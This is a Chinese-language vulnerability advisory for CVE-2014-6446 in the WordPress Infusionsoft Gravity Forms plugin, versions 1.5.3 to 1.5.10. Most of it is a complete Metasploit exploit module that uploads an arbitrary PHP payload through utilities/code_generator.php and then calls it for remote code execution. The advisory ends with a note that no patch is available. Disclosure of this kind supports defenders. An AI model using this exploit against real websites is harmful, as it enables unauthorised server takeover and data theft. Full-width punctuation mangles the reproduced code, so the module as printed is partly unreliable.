WordPress Infusionsoft Gravity Forms插件多个安全漏洞（CVE-2014-6446）

发布日期：2014-10-09
更新日期：2014-10-13受影响系统：
WordPress Infusionsoft 1.5.3 － 1.5.10
描述：
BUGTRAQ ID: 70317
CVE（CAN） ID: CVE-2014-6446 WordPress Infusionsoft可以用Infusionsoft集成Gravity Forms插件。Infusionsoft Gravity Forms 插件1.5.3－1.5.10版本没有正确限制访问，这可使远程攻击者通过向utilities/code_generator.php发送请求利用此漏洞，上传任意文件并执行任意PHP代码。<*来源：us3r777
*>测试方法：警告以下程序（方法）可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
## require "msf/core" class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking include Msf::HTTP::Wordpress
include Msf::Exploit::FileDropper def initialize（info = {}）
super（update_info（info,
"Name" => "Wordpress InfusionSoft Upload Vulnerability",
"Description" => %q{
This module exploits an arbitrary PHP code upload in the wordpress Infusionsoft Gravity
Forms plugin, versions from 1.5.3 to 1.5.10. The vulnerability allows for arbitrary file
upload and remote code execution.
},
"Author" =>
[
"g0blin", # Vulnerability Discovery
"us3r777 <us3r777@n0b0.so>" # Metasploit module
],
"License" => MSF_LICENSE,
"References" =>
[
["CVE", "2014-6446"],
["URL", "http://research.g0blin.co.uk/cve-2014-6446/"],
],
"Privileged" => false,
"Platform" => "php",
"Arch" => ARCH_PHP,
"Targets" => [["Infusionsoft 1.5.3 - 1.5.10", {}]],
"DisclosureDate" => "Sep 25 2014",
"DefaultTarget" => 0）
）
end def check
res = send_request_cgi（
"uri" => normalize_uri（wordpress_url_plugins, "infusionsoft", "Infusionsoft", "utilities", "code_generator.php"）
） if res && res.code == 200 && res.body =~ /Code Generator/ && res.body =~ /Infusionsoft/
return Exploit::CheckCode::Detected
end Exploit::CheckCode::Safe
end def exploit
php_pagename = rand_text_alpha（8 + rand（8）） + ".php"
res = send_request_cgi（{
"uri" => normalize_uri（wordpress_url_plugins, "infusionsoft",
"Infusionsoft", "utilities", "code_generator.php"）,
"method" => "POST",
"vars_post" =>
{
"fileNamePattern" => php_pagename,
"fileTemplate" => payload.encoded
}
}） if res && res.code == 200 && res.body && res.body.to_s =~ /Creating File/
print_good（"#{peer} - Our payload is at: #{php_pagename}. Calling payload..."）
register_files_for_cleanup（php_pagename）
else
fail_with（"#{peer} - Unable to deploy payload, server returned #{res.code}"）
end print_status（"#{peer} - Calling payload ..."）
send_request_cgi（{
"uri" => normalize_uri（wordpress_url_plugins, "infusionsoft",
"Infusionsoft", "utilities", php_pagename）
}, 2）
end end建议：
厂商补丁：WordPress
---------
目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：https://wordpress.org/plugins/infusionsoft/changelog/